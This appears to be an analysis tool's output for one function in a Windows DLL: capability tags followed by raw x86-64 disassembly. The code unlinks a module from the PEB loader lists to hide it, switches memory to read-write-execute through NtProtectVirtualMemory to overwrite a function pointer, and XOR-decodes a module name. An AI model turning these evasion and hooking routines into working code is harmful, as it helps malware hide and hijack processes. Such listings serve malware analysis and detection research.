Function at 0x180006c60
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Encode data using xor
Enumerate threads
Execute shellcode via indirect call
Get kernel32 base address
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x80
mov rax, qword [0x180011010]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov rsi, rcx
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
mov edx, eax
mov ecx, 4
mov edi, eax
call qword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x180006942
xorps xmm0, xmm0
mov dword [rsp + 0x58], 0x1c
xor eax, eax
lea rdx, [rsp + 0x58]
mov rcx, rbx
mov qword [rsp + 0x6c], rax
movups xmmword [rsp + 0x5c], xmm0
call qword [sym.imp.KERNEL32.DLL_Thread32First]
test eax, eax
je 0x180006939
cmp dword [rsp + 0x64], edi
je 0x180006983
lea rdx, [rsp + 0x58]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_Thread32Next]
test eax, eax
jne 0x180006921
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, ebp
mov qword [0x180011980], rax
mov rax, qword gs:[0x30]
mov qword [rsp + 0x40], rsi
mov rcx, qword [rax + 0x60]
mov rax, qword [rcx + 0x18]
mov rdx, qword [rax + 0x10]
mov rax, qword [rdx + 0x30]
nop dword [rax]
cmp rax, rsi
je 0x180006989
mov rdx, qword [rdx]
mov rax, qword [rdx + 0x30]
test rax, rax
jne 0x180006970
jmp 0x1800069cc
mov eax, dword [rsp + 0x60]
jmp 0x180006944
mov rcx, qword [rdx + 8]
mov rax, qword [rdx]
mov qword [rcx], rax
mov rcx, qword [rdx]
mov rax, qword [rdx + 8]
mov qword [rcx + 8], rax
mov rcx, qword [rdx + 0x18]
mov rax, qword [rdx + 0x10]
mov qword [rcx], rax
mov rcx, qword [rdx + 0x10]
mov rax, qword [rdx + 0x18]
mov qword [rcx + 8], rax
mov rcx, qword [rdx + 0x28]
mov rax, qword [rdx + 0x20]
mov qword [rcx], rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov qword [rcx + 8], rax
lea rcx, [rsp + 0x40]
call fcn.180001220
mov rcx, qword [rsp + 0x40]
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x180006a49
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x180006a49
mov r9, rbp
nop word [rax + rax]
rdtsc
shl rdx, 0x20
or rax, rdx
imul r8d, eax, 0x343fd
mov eax, 0x80808081
add r8d, 0x269ec3
sar r8d, 0x10
and r8d, 0x7fff
mul r8d
shr edx, 7
imul eax, edx, 0xff
sub r8d, eax
inc r8b
mov byte [r9 + rcx], r8b
inc r9
cmp r9, 0x1000
jl 0x180006a00
mov ecx, 0x18
call fcn.18000c6c0
lea rcx, str.kernel32.dll
mov qword [rsp + 0x30], rax
mov rdi, rax
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov rcx, rax
lea rdx, [0x18000e668]
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov edx, 1
mov qword [rdi], rbp
mov rcx, rax
mov qword [rdi + 8], rbp
mov rbx, rax
mov qword [rdi + 0x10], rbp
call qword [sym.imp.KERNEL32.DLL_IsBadReadPtr]
test eax, eax
jne 0x180006ac0
cmp byte [rbx], 0xeb
jne 0x180006ac0
lea edx, [rax + 1]
lea rcx, [rbx + 1]
call qword [sym.imp.KERNEL32.DLL_IsBadReadPtr]
test eax, eax
jne 0x180006ab4
movzx eax, byte [rbx + 1]
jmp 0x180006ab6
xor eax, eax
movzx eax, al
add rbx, 2
add rbx, rax
mov edx, 2
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_IsBadReadPtr]
test eax, eax
jne 0x180006b00
mov eax, 0x25ff
cmp word [rbx], ax
jne 0x180006b00
mov edx, 4
lea rcx, [rbx + 2]
call qword [sym.imp.KERNEL32.DLL_IsBadReadPtr]
test eax, eax
jne 0x180006af8
mov eax, dword [rbx + 2]
lea rcx, [rbx + 6]
jmp 0x180006b3a
mov eax, ebp
lea rcx, [rbx + 6]
jmp 0x180006b3a
mov edx, 2
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_IsBadReadPtr]
test eax, eax
jne 0x180006b41
mov eax, 0xff48
cmp word [rbx], ax
jne 0x180006b41
mov edx, 4
lea rcx, [rbx + 3]
call qword [sym.imp.KERNEL32.DLL_IsBadReadPtr]
test eax, eax
jne 0x180006b34
mov eax, dword [rbx + 3]
jmp 0x180006b36
mov eax, ebp
lea rcx, [rbx + 7]
add rcx, rax
mov qword [rdi + 8], rcx
mov rsi, qword [rdi + 8]
test rsi, rsi
jne 0x180006b54
mov qword [rdi + 0x10], 0xffffffffffffffff
jmp 0x180006b5a
mov rax, qword [rsi]
mov qword [rdi], rax
mov edx, 8
mov qword [0x180011978], rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_IsBadReadPtr]
test eax, eax
jne 0x180006c2c
lea rcx, str.Ntdll.dll
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], 8
mov qword [rsp + 0x38], rsi
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtProtectVirtualMemory
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov r9d, 0x40
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x38]
lea rcx, [r9 - 0x41]
call rax
test al, al
jne 0x180006c25
mov rbx, qword [rsp + 0x40]
lea rax, [0x180006730]
lea rcx, str.Ntdll.dll
mov qword [rsi], rax
mov qword [rsp + 0x50], 8
mov qword [rsp + 0x30], rsi
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtProtectVirtualMemory
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
lea rdx, [rsp + 0x40]
mov r9, rbx
mov qword [rsp + 0x20], rdx
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x30]
mov rcx, 0xffffffffffffffff
call rax
mov eax, 1
jmp 0x180006c2e
mov eax, ebp
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.18000c430
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
push rbx
sub rsp, 0x40
mov eax, dword [0x18000e848]
xor r8d, r8d
cmp dword [0x180011018], 2
mov rbx, rcx
movsd xmm0, qword [str.TKQ_WPbF_tto__E]
mov dword [rsp + 0x28], eax
movzx eax, word [0x18000e84c]
mov word [rsp + 0x2c], ax
movzx eax, byte [0x18000e84e]
mov byte [rsp + 0x2e], al
movsd qword [rsp + 0x20], xmm0
jl 0x180006dc0
movdqa xmm2, xmmword [0x18000e9d0]
mov eax, 4
movdqa xmm4, xmmword [0x18000ea20]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x18000e9e0]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movaps xmmword [rsp + 0x30], xmm6
movd xmm6, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movd xmm5, eax
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18000e9f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [str.TKQ_WPbF_tto__E]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x18000ea00]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.7777777777777777]
pxor xmm2, xmm0
punpckldq xmm1, xmm3
movd dword [rsp + 0x20], xmm2
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movaps xmm6, xmmword [rsp + 0x30]
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18000e9f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rsp + 0x24]
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x18000ea00]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.7777777777777777]
pxor xmm2, xmm0
movd dword [rsp + 0x24], xmm2
mov eax, r8d
lea r9, [rsp + 0x20]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x180006dd0
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov rcx, rbx
mov word [0x180011080], 0x101
mov qword [0x1800118f8], rax
mov dword [0x18001108c], 3
mov word [0x180011083], 0x101
mov byte [0x18001108b], 0
mov dword [0x180011948], 3
mov dword [0x18001194c], 0xb4
mov byte [0x180011088], 1
add rsp, 0x40
pop rbx
jmp 0x1800068b0